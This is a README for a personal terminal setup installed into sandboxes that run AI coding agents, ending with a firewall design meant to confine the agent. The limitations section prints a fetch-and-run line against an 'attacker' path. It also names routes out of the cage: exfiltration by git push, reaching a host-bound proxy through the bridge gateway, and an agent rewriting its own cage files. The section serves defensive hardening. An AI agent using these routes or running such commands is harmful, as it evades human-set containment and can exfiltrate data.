Tuning my terminal setup is my unpaid full-time job. Now it's packaged so others can pick it up as inspiration or as a working starting point.
Most of the code here was generated by AI agents. Comments often drift, and the code was only checked functionally against my original intent, shortly after it was generated, or later when I happen to use it. So it is definitely not production ready. Still, I believe the ideas behind it are real and valuable. That's why I share this project and demo it in my videos: the cozy series playlist.
The install steps and the reasoning behind each of them are described in design/.
Cozy's primary target is sbx (Docker's standalone sandbox runtime), so the quick start uses the sbx kit. Other targets — plain Docker, Apple container, a macOS host — run the same installer and land on the same toolset: see Install elsewhere and Debian image below.
For a step-by-step walkthrough of these commands and what the installer does, see the installation manual.
First, install the sbx CLI: https://docs.docker.com/ai/sandboxes/#get-started
# Clone the repo, cd into it
git clone https://github.com/nushell-prophet/cozy
cd cozy
# Create a sandbox with the cozy kit. `shell` is the agent; `--kit sbx-kit/`
# layers cozy on top — it clones this repo in-sandbox and runs the shared
# run-install.sh boot tail (no image build needed). The last arguments are the
# folders to mount as your workspace; the first one is where you start.
sbx create --name NAME --kit sbx-kit/ shell ~/some/dir ~/another/dir
# connect to the sandbox and start the Zellij session (NAME as chosen above)
sbx exec -it NAME nu --login --execute 'zellij attach -c NAME'Note: the kit installs cozy from GitHub — the latest commit on the default branch — not from your local checkout. Push your changes before sbx create, or add --branch <tag> to the git clone line in sbx-kit/spec.yaml if you need reproducible installs.
Installed: Nushell, Helix, Zellij, Lazygit, Broot, FZF, git-delta, VisiData, bat, topiary, fd, jj, git-lfs, Claude Code, procps, file, gcc, libc6-dev, xxd (base image adds git, curl, Python, Node.js, Go, ripgrep, jq, gh)
Optional (cozy install): Rust, nu_plugin_polars, nu-plugin-image, Claude Code (reinstall)
Rebuild from source (cozy install): Nushell, Zellij (without web sharing)
Cozy is based on Docker's sandbox runtime (sbx), so it is:
- macOS and Windows* (experimental) compatible — the kit builds in-sandbox on whatever architecture
sbxruns,arm64oramd64 - isolated
- with built-in AI agent (I personally tested it with
claude code)
* Windows support
I develop and use cozy on macOS, but I expect some of my students to use Windows. After brief testing, the main issue turned out to be the keyboard layout: Windows doesn't have a Cmd key, and its Win key combinations are reserved by the OS — so simply replacing Cmd with Win isn't possible. The best option I've found so far is to replace Cmd with Alt.
To apply this automatically, run cozy swap-zellij-super inside the sandbox.
A modern shell for the AI era: Nushell with sensible settings that I've chosen over 3 years of Nushell experience.
Nushell has built-in MCP functionality that lets AI agents use all of its rich capabilities with persistent session state: variables an agent sets survive across calls. The MCP server is activated for claude code out of the box.
Zellij is an extremely convenient and powerful terminal multiplexer.
A new tab can be spawned via cmd+t and a new pane within the current tab via cmd+n.
The default mode is locked — all keys pass through to the running application. ctrl+shift+g toggles between locked and normal mode (the standard ctrl+g is left free for applications like Claude Code).
Shortcuts:
ctrl+shift+g— toggle Zellij locked/normal modecmd+t— new tabcmd+n— new pane within current tabcmd+w— close the currently selected pane (or a floating window like Helix and Broot, described below)cmd+h/j/k/l— navigate panescmd+shift+h/l— navigate tabs
Helix is my terminal text editor. It plays nicely with Nushell and is quite newbie-friendly. cmd+shift+e opens the current pane's visible screen in Helix for easy copying (cmd+alt+e opens the full scrollback).
In Helix, + s (custom + menu, then s) copies the selected lines and wraps them into an XML tag for pasting into AI agents:
<selected-text file="README.md" lines="43-43">selected content here
</selected-text>Your commits should say you made them, and the agent's should say the agent made them. Three layers of git config do that, each narrower than the last:
| Layer | Identity | Applies to |
|---|---|---|
~/.config/git/config (XDG) |
Agent <agent@sandbox> |
the fallback — a placeholder so git commit works before anything else is set |
~/.gitconfig (global) |
you | every git you run — nu, lazygit; overrides the XDG file. jj is separate: it reads JJ_CONFIG, not git config |
GIT_AUTHOR_* / GIT_COMMITTER_* env |
Claude <claude@anthropic.com> |
the Claude Code process only; env beats every config file |
The top layer lives in the env field of ~/.claude/settings.json, which bootstrap step 9 writes. Claude Code exports it into its own process, so everything it spawns inherits it — the bash tool, the nushell MCP server, subagents. That is how the agent's commits get attributed to Claude, and why nothing you run yourself is: your shells are not children of Claude Code. Attaching it to the agent rather than to a shell rc is deliberate — as a shell export it hit your shells too, and still missed the MCP nu, which is no shell's child.
The middle layer is the one you supply. On the Apple container path nu toolkit/container.nu up reads your host's git config --global user.name/user.email and forwards them, so a fresh container already knows you — nothing personal is stored in the repo or the image, and it does nothing if you have no global identity set. Under sbx there is no forwarding yet; set it once per sandbox:
git config --file ~/.gitconfig user.name '…'
git config --file ~/.gitconfig user.email '…'Name the file rather than using --global. --global does not mean ~/.gitconfig: git writes there only when that file already exists, and otherwise writes $XDG_CONFIG_HOME/git/config when that one does — which is cozy's layout, so it would overwrite the bottom layer instead of adding the middle one. (Under sbx the two happen to be the same thing, because sandbox creation pre-creates ~/.gitconfig.)
Lazygit is a godsend interface for git that greatly simplifies everyday operations. Integrated into Zellij — cmd+alt+l opens it in a floating window for staging files and other git tasks. Uses git-delta for side-by-side diffs.
Broot is a file manager with a tree-like structure and fuzzy search. cmd+alt+b opens it, and alt+enter pastes the selected path back to the active pane (relative when it sits under the current directory) and copies the absolute path to the clipboard.
I use fzf for navigating Nushell history.
ctrl+f spawns fzf with Nushell history. Whatever is already on the command line becomes the initial query, anchored as one literal prefix term (ctrl+u inside fzf clears it).
The accept key decides what happens to the selection:
enter— replace the command line with the selectionalt+enter— insert the selection at the cursor
In fzf, tab and shift-tab select multiple commands; they are joined with ;\n. In-picker toggles: alt+c limits results to the current directory, ctrl+f/ctrl+r switch between recency and relevance sort, alt+r toggles raw display. The preview pane shows when and where the command ran.
VisiData is a tabular viewer and data multitool by Saul Pwanson — years of hands-on data work distilled into one terminal app. Nushell's built-in explore is great and I use it too, but for deeper digging vd remains my go-to. In cozy, in-vd pipes any structured data into VisiData (format auto-detected), and hist queries Nushell's SQLite history with filters and opens the result in vd.
I use Wezterm to connect to this environment on my Mac (on Windows, see the note at the end of this section). The config is vendored at vendor/dotfiles/wezterm/wezterm.lua; install Wezterm with brew install wezterm --cask.
Why Wezterm is a substantial part of the setup: a terminal normally claims shortcuts like Cmd+T and Cmd+W for its own tabs and windows, so they never reach what runs inside it. This config disables all of Wezterm's default keybindings, so those familiar shortcuts pass through to Zellij and the apps behind it instead of the terminal window — which is what lets Zellij own the tab and pane shortcuts. If you use a different terminal, free up its default keybindings the same way (check its docs for disabling default shortcuts), or run cozy swap-zellij-super inside the sandbox to move Zellij's bindings from Super to Alt and sidestep most clashes.
Changes from WezTerm defaults:
- QuickSelect (the killer feature):
ctrl+shift+spacehighlights matches on screen for quick copying. Custom regexes extend it to paths, jj change IDs, Nushell error locations (╭─[file:line:col]), and Nushell table headers and values. - Keybindings: all defaults disabled; CMD+SHIFT+letter sends kitty-protocol escape sequences so Zellij and apps behind it can distinguish them
- Dynamic modes: the
ZEN_MODEuser variable adjusts font size at runtime; the sandbox background is set at window creation via--config(see the launch command below)
The launch command below targets sbx, the entry point I test against:
# NAME = your sandbox name (from `sbx ls`) — replace both
# on another runtime, swap the `sbx exec -it NAME` part (Apple container, …)
wezterm --config-file vendor/dotfiles/wezterm/wezterm.lua --config 'colors={background="#000000"}' start -- sbx exec -it NAME nu --login --execute 'zellij attach -c NAME'
On Windows I'd use the standard terminal instead. I use Wezterm on Mac because it lets me disable the default shortcuts that would otherwise clash with Zellij's bindings. On Windows: I've heard Wezterm is flakier, and since cozy swap-zellij-super already remaps those bindings from Super to Alt, few conflicts are expected anyway. There are also likely more caveats I haven't tested.
A personal collection of everyday Nushell commands developed over time. In the AI context, two commands may be especially useful:
example— appended to a pipeline (ls | first 3 | example), it grabs the command text from history and formats command + output as a copyable snippet (wraps output in# =>comments and the command innu -c '...')copy-out— grabs commands with their output from Zellij pane scrollback and copies them to the clipboard (output lines are prefixed with# =>)
A key-value store for Nushell. Autoloaded with the kv prefix.
Command history stacking module.
numd is a module for literate programming. numd run <file> parses Nushell code blocks in an .md file, executes them, and updates the file with captured output.
dotnu is another module for literate programming. dotnu embeds-update <file> executes a Nushell script, captures output from | print $in lines, and injects the results back into the .nu file as # => comments after each corresponding line.
A Nushell toolbox for working with Claude Code sessions. Main commands:
claude-nu projects— list projects under~/.claude/projects, most recent firstclaude-nu messages 'regex'— search user messages; scope is whatever is piped in (claude-nu sessions --all-projects | claude-nu messages 'regex'widens to every project), and with no input it reads the whole current projectclaude-nu sessions— parse session files into structured summaries, with selectable columns (--columns/--all-columns: file ops, tool stats, agents, etc.); this is where session selection lives (--last,--session,--all-projects)claude-nu export-session— export session dialogue as markdown;--towrites it to filesclaude-nu project-move— retarget Claude's stored state after a project directory movesclaude-nu gi— status of the git-intent protocol in the current repo;gi enableseeds it (Canvas style and skills),gi importturns a session's dialogue into a canvas,gi open <doc>launches a session bound to that canvasclaude-nu commits— per-commit Claude-authorship table for a git repo;--by-monthrolls up Claude's share of commits each monthclaude-nu code-authorship— Claude's share of the lines living in the tree now (viagit blame)
The environment also includes Claude Code skills for building Nushell completions, writing opinionated Nushell code, practicing literate programming with numd and dotnu, and inspecting or rewriting the Nushell user REPL command history.
nutest is a Nushell test framework by vyadh. Licensed under MIT. Not autoloaded — use use ~/repos/nutest/nutest to load.
cozy-module/install/run-install.sh is the same boot tail the Dockerfile and the sbx kit run — one script, so the install paths can't drift apart. It deploys the full environment (nushell, modules, dotfiles, configs) into virtually any Ubuntu-based sandbox or directly onto a macOS host — for example sbx with a pure shell agent, an Apple container running Ubuntu, or a plain macOS install. Container targets additionally get the system-level setup (apt build deps, the /etc/sandbox-persistent.sh env exports) that a host install leaves to the machine. For why it's built this way — the build order and why each tool is compiled from source, vendored, or shipped — see design/.
Prerequisite: Homebrew (https://brew.sh). On a Linux host with passwordless sudo the script installs it for you; on macOS install it first — the script exits early with the copy-paste command, so your sudo password never goes through a script. On a Linux host, gcc and libc6-dev must also be present (the topiary grammar compiles at install time) — the installer fails fast if they're missing.
git clone https://github.com/nushell-prophet/cozy
cd cozy
cozy-module/install/run-install.sh # install
cozy-module/install/run-install.sh --force # reinstall over existing user configsAlongside the standard sbx path, the Dockerfile builds a lean debian:12-slim image for plain docker run and Apple container. The agent gets passwordless sudo only during the build and loses it in the final layer, so the running container is rootless — no standing privilege, which suits working with valuable data.
compose.yaml runs the image behind an allowlist you control.
mkdir -p ~/.config/cozy && cp -r firewall ~/.config/cozy/firewall
COZY_WORKSPACE=~/path/to/project docker compose up -d
docker compose exec cozy nu --login
docker compose logs -f egress # watch what gets allowed and refused
The agent container is attached to a network created with internal: true, so Docker gives it no default route and no way to resolve external names. Its only neighbour is a squid proxy that allows the domains in allowed-domains.txt and refuses the rest. To change what is reachable, edit that file and run docker compose restart egress.
The policy lives in ~/.config/cozy/firewall/, outside this repo, and the copy in firewall/ is only a template. That separation is what makes the allowlist human-managed: an agent working on cozy itself would otherwise be editing the very files that define its cage, and they are read fresh from the host at the next up. COZY_WORKSPACE must not point at this repo or any parent of it — everything under it is agent-writable, including compose.yaml and the Dockerfile. For the same reason, never mount /var/run/docker.sock into the agent and never add it to the docker group; that is root on the host and no network policy survives it.
Nothing is decrypted. Squid refuses the CONNECT before TLS begins, so a blocked request never leaves the client — headers and tokens included. Allowed domains are tunneled end-to-end and keep the origin's own certificate, so no proxy CA is installed anywhere. cozy verify covers both halves: its tls: row completes a handshake with api.anthropic.com and reports the certificate issuer it got — proof that an allowlisted host is really reachable, and on runtimes that do install a proxy CA (sbx) an assertion that the issuer is not that CA — and its two egress: rows require a canary domain to be refused with a real block page and no route out to exist beside the proxy. A bare docker run of the image has no cage, and it fails the egress: rows rather than passing quietly.
Apple container has no compose, so toolkit/container.nu assembles the same three pieces by hand — up builds the cage, restart brings it back, reload-egress applies an edited allowlist, attach opens a window on it. It needs macOS 26 or later — container network create does not exist before that, and on macOS 15 there is no way to build the cage at all.
mkdir -p ~/.config/cozy && cp -r firewall ~/.config/cozy/firewall
container build -t cozy:latest .
nu toolkit/container.nu up my-agent ~/path/to/project
nu toolkit/container.nu up my-agent ~/project-a ~/shared-libs:ro ~/docs:ro # several folders
nu toolkit/container.nu restart my-agent # after the `container` runtime itself restarts
nu toolkit/container.nu reload-egress my-agent # after editing the allowlist
container logs -f cozy-egress # watch what gets allowed and refused
use toolkit/container.nu # attach needs an interactive nu, see below
container attach my-agent --workdir ~/path/to/project
attach opens the WezTerm window as a background job, and a nushell job dies with the nu that spawned it — so nu toolkit/container.nu attach … would exit before the window is up and no window would appear. Load the module in your REPL instead (the same holds for toolkit/sbxw.nu on the sbx path). --no-job runs wezterm in the foreground of the current shell, which does work from a script, but blocks it until the window closes.
Several folders can be mounted, spelled the way sbx run spells it: each appears inside at its own absolute host path, and :ro makes one read-only. The first path is the primary workspace — it is what WORKSPACE_DIR points at and where the agent starts. A folder containing this repo is refused unless it is :ro, for the reason above: the script and the firewall template are read fresh at the next launch, so an agent that can write them writes its own cage.
The agent VM gets 8 GB of RAM and 6 CPUs, not the 1 GB and 4 CPUs container defaults to — --memory and --cpus change both. Keep --cpus at or below your machine's core count. One Claude Code process holds around 300 MB, so at 1 GB two of them leave no room for the page cache and the kernel spends most of its time evicting their code pages and reading them straight back in. That shows up as a container pinning several cores with nothing running in it.
The agent lands on a --internal (host-only) network with no route out, and the same pinned squid is dual-homed onto that network and the default one. Two things differ from the docker path. A host-only network has no resolver, so the agent runs with --no-dns and reaches allowed hosts by handing the name to the proxy — which resolves it on the default network. And container has no static-IP flag, so the proxy is addressed by IP, read back from it after it starts, rather than by name.
container run on its own sets none of this up: no allowlist, and no WORKSPACE_DIR (which only sbx injects), so cozy sandbox-state and cozy dev-link fail. Such a container fails cozy verify's two egress: rows, which is the intended signal — there is no cage in front of it. Pass -e WORKSPACE_DIR=<mounted path> if you deliberately want an uncaged one.
To change what is reachable, edit ~/.config/cozy/firewall/allowed-domains.txt and run nu toolkit/container.nu reload-egress <name> — the agent's name is all it needs, since its mounts cannot change and only its baked exit address is at stake. A running proxy re-reads the policy in place — squid -k parse, then squid -k reconfigure — so no container is replaced, the address cannot move, and the agent keeps its exit. The parse step is what makes that safe rather than merely quick: it validates in a separate process and signals only on success, so a list that does not parse leaves the previous one in force. (Signalling squid by hand fails the other way: on a fatal ACL error — an entry that is a subdomain of a wildcard entry is one — it exits mid-reload and takes the proxy with it.) Only a proxy that is stopped gets recreated, which is the one case where the address can change; the docker path never had this problem, since there the agent reaches the proxy by the name egress.
After container system stop/start, an upgrade or a reboot, both containers are stopped rather than gone — the one state up cannot recover from. restart is for that: it starts the pair, re-proves the cage, and compares the exit address the agent was built with against the one the proxy came back on. container has no static-IP flag, so that address can move; when it does, the agent has no way out and must be recreated, which restart says in as many words.
The allowlist bounds which hosts the agent can connect to. It does not filter what travels over an allowed connection, in either direction. Squid sees the hostname and nothing else — no path, no body — so any allowed host that lets strangers publish is an open door: curl raw.githubusercontent.com/attacker/x/main/evil.sh | sh passes this list cleanly. github.com, the githubusercontent hosts and ghcr.io are all in that class. Reading content would require TLS interception, which this deliberately does not do. Outbound is the same story: github.com carries git push, so with a credential in your workspace it is a full exfiltration channel.
internal: true removes the route to the internet, but the Docker bridge's own gateway address stays in-subnet and reachable. A process bound on the host's 0.0.0.0 — a dev server, a proxy — can still be reached directly from the agent, and a proxy there would sidestep the allowlist entirely; verified by proxying a blocked request through a host-bound squid from inside the cage. A published container port (-p) is not in this class: Docker refuses to forward out of an internal network, and the attempt times out (checked on Docker 29.6). Closing that needs a host-level DOCKER-USER iptables rule, which is outside what compose can express. The proxy itself refuses to fetch private addresses on the agent's behalf, so this is a direct-connection risk only. Apple container's --internal has the same hole — the host gateway stays reachable from a host-only network — and no equivalent of that iptables rule; a container system pf command that would scope packet-filter rules to a network is proposed upstream but not shipped.
cozy verify is a smoke test, not a tamper detector. Its own source lives in the container at a path the agent owns.
Some things break for reasons the allowlist cannot fix. ssh cannot travel through an HTTP proxy at all, so git@github.com: remotes fail — with an error that blames your credentials. Node's built-in fetch ignores the proxy environment, so scripts and HTTP-based MCP servers fail with a DNS error even for an allowlisted host; Claude Code itself is unaffected, it wires its own proxy agent. Claude Code's WebFetch now refuses anything off-list, while WebSearch keeps working since it goes through the API.
Apple container on Apple Silicon: the first container build can fail with Rosetta is not installed. The builder VM defaults to [build] rosetta = true, so it wants Rosetta even for a native arm64 build. Fix it without installing Rosetta — put rosetta = false under [build] in ~/.config/container/config.toml, then container builder stop && container builder start. An arm64 build never runs x86, so Rosetta stays unused either way.
